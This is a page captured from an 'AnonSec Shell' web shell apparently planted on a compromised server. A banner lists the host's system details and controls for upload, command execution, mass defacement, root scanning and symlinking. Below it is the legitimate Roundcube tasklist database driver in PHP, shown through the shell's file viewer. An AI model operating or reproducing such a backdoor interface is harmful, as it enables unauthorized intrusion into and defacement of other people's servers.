AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/cwd/3rdparty/roundcube/plugins/tasklist/drivers/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/cwd/3rdparty/roundcube/plugins/tasklist/drivers/database/tasklist_database_driver.php
<?php

/**
 * Database driver for the Tasklist plugin
 *
 * @version @package_version@
 * @author Thomas Bruederli <[email protected]>
 *
 * Copyright (C) 2012-2015, Kolab Systems AG <[email protected]>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as
 * published by the Free Software Foundation, either version 3 of the
 * License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

class tasklist_database_driver extends tasklist_driver
{
    const IS_COMPLETE_SQL = "(`status` = 'COMPLETED' OR (`complete` = 1 AND `status` = ''))";

    public $undelete    = true; // yes, we can
    public $sortable    = false;
    public $alarm_types = array('DISPLAY');

    private $rc;
    private $plugin;
    private $lists    = array();
    private $tags     = array();
    private $list_ids = '';
    private $db_tasks = 'tasks';
    private $db_lists = 'tasklists';


    /**
     * Default constructor
     */
    public function __construct($plugin)
    {
        $this->rc     = $plugin->rc;
        $this->plugin = $plugin;

        // read database config
        $db = $this->rc->get_dbh();
        $this->db_lists = $this->rc->config->get('db_table_lists', $db->table_name($this->db_lists));
        $this->db_tasks = $this->rc->config->get('db_table_tasks', $db->table_name($this->db_tasks));

        $this->_read_lists();
    }

    /**
     * Read available calendars for the current user and store them internally
     */
    private function _read_lists()
    {
        $hidden = array_filter(explode(',', $this->rc->config->get('hidden_tasklists', '')));

        if (!empty($this->rc->user->ID)) {
            $list_ids = array();
            $result = $this->rc->db->query(
                "SELECT *, `tasklist_id` AS id FROM " . $this->db_lists
                . " WHERE `user_id` = ?"
                . " ORDER BY CASE WHEN `name` = 'INBOX' THEN 0 ELSE 1 END, `name`",
                $this->rc->user->ID
            );

            while ($result && ($arr = $this->rc->db->fetch_assoc($result))) {
                $arr['showalarms'] = intval($arr['showalarms']);
                $arr['active']     = !in_array($arr['id'], $hidden);
                $arr['name']       = html::quote($arr['name']);
                $arr['listname']   = html::quote($arr['name']);
                $arr['editable']   = true;
                $arr['rights']     = 'lrswikxtea';

                $this->lists[$arr['id']] = $arr;
                $list_ids[] = $this->rc->db->quote($arr['id']);
            }

            $this->list_ids = join(',', $list_ids);
        }
    }

    /**
     * Get a list of available tasks lists from this source
     */
    public function get_lists($filter = 0)
    {
        // attempt to create a default list for this user
        if (empty($this->lists)) {
            $prop = array('name' => 'Default', 'color' => '000000');
            if ($this->create_list($prop)) {
                $this->_read_lists();
            }
        }

        return $this->lists;
    }

    /**
     * Create a new list assigned to the current user
     *
     * @param array Hash array with list properties
     * @return mixed ID of the new list on success, False on error
     * @see tasklist_driver::create_list()
     */
    public function create_list(&$prop)
    {
        $result = $this->rc->db->query(
            "INSERT INTO " . $this->db_lists
             . " (`user_id`, `name`, `color`, `showalarms`)"
             . " VALUES (?, ?, ?, ?)",
            $this->rc->user->ID,
            strval($prop['name']),
            isset($prop['color']) ? strval($prop['color']) : '',
            !empty($prop['showalarms']) ? 1 : 0
        );

        if ($result) {
            $prop['rights'] = 'lrswikxtea';
            return $this->rc->db->insert_id($this->db_lists);
        }

        return false;
    }

    /**
     * Update properties of an existing tasklist
     *
     * @param array Hash array with list properties
     * @return boolean True on success, Fales on failure
     * @see tasklist_driver::edit_list()
     */
    public function edit_list(&$prop)
    {
        $query = $this->rc->db->query(
            "UPDATE " . $this->db_lists . " SET `name` = ?, `color` = ?, `showalarms` = ?"
             . " WHERE `tasklist_id` = ? AND `user_id` = ?",
            strval($prop['name']),
            isset($prop['color']) ? strval($prop['color']) : '',
            !empty($prop['showalarms']) ? 1 : 0,
            $prop['id'],
            $this->rc->user->ID
        );

        return $this->rc->db->affected_rows($query);
    }

    /**
     * Set active/subscribed state of a list
     *
     * @param array Hash array with list properties
     * @return boolean True on success, Fales on failure
     * @see tasklist_driver::subscribe_list()
     */
    public function subscribe_list($prop)
    {
        $hidden = array_flip(explode(',', $this->rc->config->get('hidden_tasklists', '')));

        if (!empty($prop['active'])) {
            unset($hidden[$prop['id']]);
        }
        else {
            $hidden[$prop['id']] = 1;
        }

        return $this->rc->user->save_prefs(array('hidden_tasklists' => join(',', array_keys($hidden))));
    }

    /**
     * Delete the given list with all its contents
     *
     * @param array Hash array with list properties
     * @return boolean True on success, Fales on failure
     * @see tasklist_driver::delete_list()
     */
    public function delete_list($prop)
    {
        $list_id = $prop['id'];

        if ($this->lists[$list_id]) {
            $query = $this->rc->db->query(
                "DELETE FROM " . $this->db_lists . " WHERE `tasklist_id` = ? AND `user_id` = ?",
                $list_id,
                $this->rc->user->ID
            );

            return $this->rc->db->affected_rows($query);
        }

        return false;
    }

    /**
     * Search for shared or otherwise not listed tasklists the user has access
     *
     * @param string Search string
     * @param string Section/source to search
     *
     * @return array List of tasklists
     */
    public function search_lists($query, $source)
    {
        return array();
    }

    /**
     * Get a list of tags to assign tasks to
     *
     * @return array List of tags
     */
    public function get_tags()
    {
        return array_values(array_unique($this->tags, SORT_STRING));
    }

    /**
     * Get number of tasks matching the given filter
     *
     * @param array List of lists to count tasks of
     * @return array Hash array with counts grouped by status (all|flagged|today|tomorrow|overdue|nodate)
     * @see tasklist_driver::count_tasks()
     */
    function count_tasks($lists = null)
    {
        if (empty($lists)) {
            $lists = array_keys($this->lists);
        }
        else if (!is_array($lists)) {
            $lists = explode(',', (string) $lists);
        }

        // only allow to select from lists of this user
        $list_ids = array_map(array($this->rc->db, 'quote'), array_intersect($lists, array_keys($this->lists)));

        $today_date    = new DateTime('now', $this->plugin->timezone);
        $today         = $today_date->format('Y-m-d');
        $tomorrow_date = new DateTime('now + 1 day', $this->plugin->timezone);
        $tomorrow      = $tomorrow_date->format('Y-m-d');

        $result = $this->rc->db->query(sprintf(
            "SELECT `task_id`, `flagged`, `date` FROM " . $this->db_tasks
             . " WHERE `tasklist_id` IN (%s) AND `del` = 0 AND NOT " . self::IS_COMPLETE_SQL,
            join(',', $list_ids)
        ));

        $counts = array('all' => 0, 'today' => 0, 'tomorrow' => 0, 'overdue' => 0, 'later' => 0);
        while ($result && ($rec = $this->rc->db->fetch_assoc($result))) {
            $counts['all']++;
            if (empty($rec['date']))
                $counts['later']++;
            else if ($rec['date'] == $today)
                $counts['today']++;
            else if ($rec['date'] == $tomorrow)
                $counts['tomorrow']++;
            else if ($rec['date'] < $today)
                $counts['overdue']++;
            else if ($rec['date'] > $tomorrow)
                $counts['later']++;
        }

        return $counts;
    }

    /**
     * Get all task records matching the given filter
     *
     * @param array Hash array wiht filter criterias
     * @param array List of lists to get tasks from
     *
     * @return array List of tasks records matchin the criteria
     * @see tasklist_driver::list_tasks()
     */
    function list_tasks($filter, $lists = null)
    {
        if (empty($lists)) {
            $lists = array_keys($this->lists);
        }
        else if (!is_array($lists)) {
            $lists = explode(',', (string) $lists);
        }

        // only allow to select from lists of this user
        $list_ids = array_map(array($this->rc->db, 'quote'), array_intersect($lists, array_keys($this->lists)));
        $sql_add  = '';

        // add filter criteria
        if ($filter) {
            if (!empty($filter['from']) || ($filter['mask'] & tasklist::FILTER_MASK_TODAY)) {
                $sql_add .= " AND (`date` IS NULL OR `date` >= " . $this->rc->db->quote($filter['from']) . ")";
            }

            if (!empty($filter['to'])) {
                if ($filter['mask'] & tasklist::FILTER_MASK_OVERDUE) {
                    $sql_add .= " AND (`date` IS NOT NULL AND `date` <= " . $this->rc->db->quote($filter['to']) . ")";
                }
                else {
                    $sql_add .= " AND (`date` IS NULL OR `date` <= " . $this->rc->db->quote($filter['to']) . ")";
                }
            }

            if ($filter['mask'] & tasklist::FILTER_MASK_NODATE) {
                $sql_add = " AND `date` IS NULL";
            }

            if ($filter['mask'] & tasklist::FILTER_MASK_COMPLETE) {
                $sql_add .= " AND " . self::IS_COMPLETE_SQL;
            }
            else if (empty($filter['since'])) {
                // don't show complete tasks by default
                $sql_add .= " AND NOT " . self::IS_COMPLETE_SQL;
            }

            if ($filter['mask'] & tasklist::FILTER_MASK_FLAGGED) {
                $sql_add .= " AND `flagged` = 1";
            }

            // compose (slow) SQL query for searching
            // FIXME: improve searching using a dedicated col and normalized values
            if ($filter['search']) {
                $sql_query = array();
                foreach (array('title', 'description', 'organizer', 'attendees') as $col) {
                    $sql_query[] = $this->rc->db->ilike($col, '%' . $filter['search'] . '%');
                }
                $sql_add = " AND (" . join(" OR ", $sql_query) . ")";
            }

            if (!empty($filter['since']) && is_numeric($filter['since'])) {
                $sql_add .= " AND `changed` >= " . $this->rc->db->quote(date('Y-m-d H:i:s', $filter['since']));
            }

            if (!empty($filter['uid'])) {
                $sql_add .= " AND `uid` IN (" . implode(',', array_map(array($this->rc->db, 'quote'), $filter['uid'])) . ")";
            }
        }

        $tasks = array();
        if (!empty($list_ids)) {
            $result = $this->rc->db->query("SELECT * FROM " . $this->db_tasks
                . " WHERE `tasklist_id` IN (" . join(',', $list_ids) . ")"
                    . " AND `del` = 0" . $sql_add
                . " ORDER BY `parent_id`, `task_id` ASC"
            );

            while ($result && ($rec = $this->rc->db->fetch_assoc($result))) {
                $tasks[] = $this->_read_postprocess($rec);
            }
        }

        return $tasks;
    }

    /**
     * Return data of a specific task
     *
     * @param mixed   Hash array with task properties or task UID
     * @param integer Bitmask defining filter criterias.
     *                See FILTER_* constants for possible values.
     *
     * @return array Hash array with task properties or false if not found
     */
    public function get_task($prop, $filter = 0)
    {
        if (is_string($prop)) {
            $prop['uid'] = $prop;
        }

        $query_col = !empty($prop['id']) ? 'task_id' : 'uid';

        $result = $this->rc->db->query("SELECT * FROM " . $this->db_tasks
            . " WHERE `tasklist_id` IN (" . $this->list_ids . ")"
            . " AND `$query_col` = ? AND `del` = 0",
            !empty($prop['id']) ? $prop['id'] : $prop['uid']
        );

        if ($result && ($rec = $this->rc->db->fetch_assoc($result))) {
             return $this->_read_postprocess($rec);
        }

        return false;
    }

    /**
     * Get all decendents of the given task record
     *
     * @param mixed   Hash array with task properties or task UID
     * @param boolean True if all childrens children should be fetched
     *
     * @return array List of all child task IDs
     */
    public function get_childs($prop, $recursive = false)
    {
        // resolve UID first
        if (is_string($prop)) {
            $result = $this->rc->db->query(
                "SELECT `task_id` AS id, `tasklist_id` AS list FROM " . $this->db_tasks
                . " WHERE `tasklist_id` IN (" . $this->list_ids . ")"
                    . " AND `uid` = ?",
                $prop
            );

            $prop = $this->rc->db->fetch_assoc($result);
        }

        $childs   = array();
        $task_ids = array($prop['id']);

        // query for childs (recursively)
        while (!empty($task_ids)) {
            $result = $this->rc->db->query(
                "SELECT `task_id` AS id FROM " . $this->db_tasks
                . " WHERE `tasklist_id` IN (" . $this->list_ids . ")"
                    . " AND `parent_id` IN (" . join(',', array_map(array($this->rc->db, 'quote'), $task_ids)) . ")"
                    . " AND `del` = 0"
            );

            $task_ids = array();
            while ($result && ($rec = $this->rc->db->fetch_assoc($result))) {
                $childs[]   = $rec['id'];
                $task_ids[] = $rec['id'];
            }

            if (!$recursive) {
                break;
            }
        }

        return $childs;
    }

    /**
     * Get a list of pending alarms to be displayed to the user
     *
     * @param integer Current time (unix timestamp)
     * @param mixed   List of list IDs to show alarms for (either as array or comma-separated string)
     *
     * @return array   A list of alarms, each encoded as hash array with task properties
     * @see tasklist_driver::pending_alarms()
     */
    public function pending_alarms($time, $lists = null)
    {
        if (empty($lists)) {
            $lists = array_keys($this->lists);
        }
        else if (!is_array($lists)) {
            $lists = explode(',', (string) $lists);
        }

        // only allow to select from calendars with activated alarms
        $list_ids = array();
        foreach ($lists as $lid) {
            if ($this->lists[$lid] && $this->lists[$lid]['showalarms']) {
                $list_ids[] = $lid;
            }
        }
        $list_ids = array_map(array($this->rc->db, 'quote'), $list_ids);

        $alarms = array();
        if (!empty($list_ids)) {
            $result = $this->rc->db->query("SELECT * FROM " . $this->db_tasks
                . " WHERE `tasklist_id` IN (" . join(',', $list_ids) . ")"
                    . " AND `notify` <= " . $this->rc->db->fromunixtime($time)
                    . " AND NOT " . self::IS_COMPLETE_SQL
            );

            while ($result && ($rec = $this->rc->db->fetch_assoc($result))) {
                $alarms[] = $this->_read_postprocess($rec);
            }
        }

        return $alarms;
    }

    /**
     * Feedback after showing/sending an alarm notification
     *
     * @see tasklist_driver::dismiss_alarm()
     */
    public function dismiss_alarm($task_id, $snooze = 0)
    {
        // set new notifyat time or unset if not snoozed
        $notify_at = $snooze > 0 ? date('Y-m-d H:i:s', time() + $snooze) : null;

        $query = $this->rc->db->query("UPDATE " . $this->db_tasks
            . " SET `changed` = " . $this->rc->db->now() . ", `notify` = ?"
            . " WHERE `task_id` = ? AND `tasklist_id` IN (" . $this->list_ids . ")",
            $notify_at,
            $task_id
        );

        return $this->rc->db->affected_rows($query);
    }

    /**
     * Remove alarm dismissal or snooze state
     *
     * @param  string  Task identifier
     */
    public function clear_alarms($id)
    {
        // Nothing to do here. Alarms are reset in edit_task()
    }

    /**
     * Map some internal database values to match the generic "API"
     */
    private function _read_postprocess($rec)
    {
        $rec['id']      = $rec['task_id'];
        $rec['list']    = $rec['tasklist_id'];
        $rec['changed'] = new DateTime($rec['changed']);
        $rec['created'] = new DateTime($rec['created']);
        $rec['tags']    = array_filter(explode(',', $rec['tags']));

        if (!$rec['parent_id']) {
            unset($rec['parent_id']);
        }

        // decode serialized alarms
        if ($rec['alarms']) {
            $rec['valarms'] = $this->unserialize_alarms($rec['alarms']);
            unset($rec['alarms']);
        }

        // decode serialze recurrence rules
        if ($rec['recurrence']) {
            $rec['recurrence'] = $this->unserialize_recurrence($rec['recurrence']);
        }

        if (!empty($rec['tags'])) {
            $this->tags = array_merge($this->tags, (array)$rec['tags']);
        }

        unset($rec['task_id'], $rec['tasklist_id']);

        return $rec;
    }

    /**
     * Add a single task to the database
     *
     * @param array Hash array with task properties (see header of this file)
     *
     * @return mixed New event ID on success, False on error
     * @see tasklist_driver::create_task()
     */
    public function create_task($prop)
    {
        // check list permissions
        $list_id = !empty($prop['list']) ? $prop['list'] : reset(array_keys($this->lists));
        if (empty($this->lists[$list_id]) || !empty($this->lists[$list_id]['readonly'])) {
            return false;
        }

        if (!empty($prop['valarms'])) {
            $prop['alarms'] = $this->serialize_alarms($prop['valarms']);
        }

        if (!empty($prop['recurrence'])) {
            $prop['recurrence'] = $this->serialize_recurrence($prop['recurrence']);
        }

        if (array_key_exists('complete', $prop) && !empty($prop['complete'])) {
            $prop['complete'] = number_format($prop['complete'], 2, '.', '');
        }

        foreach (array('parent_id', 'date', 'time', 'startdate', 'starttime', 'alarms', 'recurrence', 'status', 'complete') as $col) {
            if (empty($prop[$col])) {
                $prop[$col] = null;
            }
        }

        $notify_at = $this->_get_notification($prop);
        $now       = $this->rc->db->now();

        $result = $this->rc->db->query("INSERT INTO " . $this->db_tasks
            . " (`tasklist_id`, `uid`, `parent_id`, `created`, `changed`, `title`, `date`, `time`,"
                . " `startdate`, `starttime`, `description`, `tags`, `flagged`, `complete`, `status`,"
                . " `alarms`, `recurrence`, `notify`)"
            . " VALUES (?, ?, ?, $now, $now, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
            $list_id,
            $prop['uid'],
            $prop['parent_id'],
            $prop['title'],
            $prop['date'],
            $prop['time'],
            $prop['startdate'],
            $prop['starttime'],
            isset($prop['description']) ? strval($prop['description']) : '',
            !empty($prop['tags']) ? join(',', (array)$prop['tags']) : '',
            !empty($prop['flagged']) ? 1 : 0,
            $prop['complete'] ?: 0,
            strval($prop['status']),
            isset($prop['alarms']) ? $prop['alarms'] : '',
            isset($prop['recurrence']) ? $prop['recurrence'] : '',
            $notify_at
        );

        if ($result) {
            return $this->rc->db->insert_id($this->db_tasks);
        }

        return false;
    }

    /**
     * Update an task entry with the given data
     *
     * @param array Hash array with task properties
     *
     * @return boolean True on success, False on error
     * @see tasklist_driver::edit_task()
     */
    public function edit_task($prop)
    {
        if (isset($prop['valarms'])) {
            $prop['alarms'] = $this->serialize_alarms($prop['valarms']);
        }
        if (isset($prop['recurrence'])) {
            $prop['recurrence'] = $this->serialize_recurrence($prop['recurrence']);
        }
        if (array_key_exists('complete', $prop)) {
            $prop['complete'] = number_format($prop['complete'], 2, '.', '');
        }

        $sql_set = array();
        foreach (array('title', 'description', 'flagged', 'complete') as $col) {
            if (isset($prop[$col])) {
                $sql_set[] = $this->rc->db->quote_identifier($col) . '=' . $this->rc->db->quote($prop[$col]);
            }
        }
        foreach (array('parent_id', 'date', 'time', 'startdate', 'starttime', 'alarms', 'recurrence') as $col) {
            if (isset($prop[$col])) {
                $sql_set[] = $this->rc->db->quote_identifier($col) . '=' . (empty($prop[$col]) ? 'NULL' : $this->rc->db->quote($prop[$col]));
            }
        }
        if (isset($prop['status'])) {
            $sql_set[] = $this->rc->db->quote_identifier('status') . '=' . $this->rc->db->quote($prop['status']);
        }
        if (isset($prop['tags'])) {
            $sql_set[] = $this->rc->db->quote_identifier('tags') . '=' . $this->rc->db->quote(join(',', (array)$prop['tags']));
        }

        if (isset($prop['date']) || isset($prop['time']) || isset($prop['alarms'])) {
            $notify_at = $this->_get_notification($prop);
            $sql_set[] = $this->rc->db->quote_identifier('notify') . '=' . (empty($notify_at) ? 'NULL' : $this->rc->db->quote($notify_at));
        }

        // moved from another list
        if (!empty($prop['_fromlist']) && ($newlist = $prop['list'])) {
            $sql_set[] = $this->rc->db->quote_identifier('tasklist_id') . '=' . $this->rc->db->quote($newlist);
        }

        $result = $this->rc->db->query("UPDATE " . $this->db_tasks
            . " SET `changed` = " . $this->rc->db->now() . ($sql_set ? ', ' . join(', ', $sql_set) : '')
            . " WHERE `task_id` = ? AND `tasklist_id` IN (" . $this->list_ids . ")",
            $prop['id']
        );

        return $this->rc->db->affected_rows($result);
    }

    /**
     * Move a single task to another list
     *
     * @param array   Hash array with task properties
     *
     * @return boolean True on success, False on error
     * @see tasklist_driver::move_task()
     */
    public function move_task($prop)
    {
        return $this->edit_task($prop);
    }

    /**
     * Remove a single task from the database
     *
     * @param array   Hash array with task properties
     * @param boolean Remove record irreversible
     *
     * @return boolean True on success, False on error
     * @see tasklist_driver::delete_task()
     */
    public function delete_task($prop, $force = true)
    {
        $task_id = $prop['id'];

        if ($task_id && $force) {
            $result = $this->rc->db->query("DELETE FROM " . $this->db_tasks
                . " WHERE `task_id` = ? AND `tasklist_id` IN (" . $this->list_ids . ")",
                $task_id
            );
        }
        else if ($task_id) {
            $result = $this->rc->db->query("UPDATE " . $this->db_tasks
                . " SET `changed` = " . $this->rc->db->now() . ", `del` = 1"
                . " WHERE `task_id` = ? AND `tasklist_id` IN (" . $this->list_ids . ")",
                $task_id
            );
        }

        return $this->rc->db->affected_rows($result);
    }

    /**
     * Restores a single deleted task (if supported)
     *
     * @param array Hash array with task properties
     *
     * @return boolean True on success, False on error
     * @see tasklist_driver::undelete_task()
     */
    public function undelete_task($prop)
    {
        $result = $this->rc->db->query("UPDATE " . $this->db_tasks
            . " SET `changed` = " . $this->rc->db->now() . ", `del` = 0"
            . " WHERE `task_id` = ? AND `tasklist_id` IN (" . $this->list_ids . ")",
            $prop['id']
        );

        return $this->rc->db->affected_rows($result);
    }

    /**
     * Compute absolute time to notify the user
     */
    private function _get_notification($task)
    {
        if (!empty($task['valarms']) && !$this->is_complete($task)) {
            $alarm = libcalendaring::get_next_alarm($task, 'task');

            if (!empty($alarm['time']) && in_array($alarm['action'], $this->alarm_types)) {
                return date('Y-m-d H:i:s', $alarm['time']);
            }
        }
    }

    /**
     * Helper method to serialize the list of alarms into a string
     */
    private function serialize_alarms($valarms)
    {
        foreach ((array)$valarms as $i => $alarm) {
            if ($alarm['trigger'] instanceof DateTime) {
                $valarms[$i]['trigger'] = '@' . $alarm['trigger']->format('c');
            }
        }

        return $valarms ? json_encode($valarms) : null;
    }

    /**
     * Helper method to decode a serialized list of alarms
     */
    private function unserialize_alarms($alarms)
    {
        // decode json serialized alarms
        if ($alarms && $alarms[0] == '[') {
            $valarms = json_decode($alarms, true);
            foreach ($valarms as $i => $alarm) {
                if ($alarm['trigger'][0] == '@') {
                    try {
                        $valarms[$i]['trigger'] = new DateTime(substr($alarm['trigger'], 1));
                    }
                    catch (Exception $e) {
                        unset($valarms[$i]);
                    }
                }
            }
        }
        // convert legacy alarms data
        else if (strlen($alarms)) {
            list($trigger, $action) = explode(':', $alarms, 2);
            if ($trigger = libcalendaring::parse_alarm_value($trigger)) {
                $valarms = array(array('action' => $action, 'trigger' => $trigger[3] ?: $trigger[0]));
            }
        }

        return $valarms;
    }

    /**
     * Helper method to serialize task recurrence properties
     */
    private function serialize_recurrence($recurrence)
    {
        foreach ((array)$recurrence as $k => $val) {
            if ($val instanceof DateTime) {
                $recurrence[$k] = '@' . $val->format('c');
            }
        }

        return $recurrence ? json_encode($recurrence) : null;
    }

    /**
     * Helper method to decode a serialized task recurrence struct
     */
    private function unserialize_recurrence($ser)
    {
        if (strlen($ser)) {
            $recurrence = json_decode($ser, true);
            foreach ((array)$recurrence as $k => $val) {
                if ($val[0] == '@') {
                    try {
                        $recurrence[$k] = new DateTime(substr($val, 1));
                    }
                    catch (Exception $e) {
                        unset($recurrence[$k]);
                    }
                }
            }
        }
        else {
            $recurrence = '';
        }

        return $recurrence;
    }

    /**
     * Handler for user_delete plugin hook
     */
    public function user_delete($args)
    {
        $db = $this->rc->db;

        $lists = $db->query("SELECT `tasklist_id` FROM " . $this->db_lists . " WHERE `user_id` = ?", $args['user']->ID);

        $list_ids = array();
        while ($row = $db->fetch_assoc($lists)) {
            $list_ids[] = $row['tasklist_id'];
        }

        if (!empty($list_ids)) {
            foreach (array($this->db_tasks, $this->db_lists) as $table) {
                $db->query(sprintf("DELETE FROM $table WHERE `tasklist_id` IN (%s)", join(',', $list_ids)));
            }
        }
    }
}

Anon7 - 2022
AnonSec Team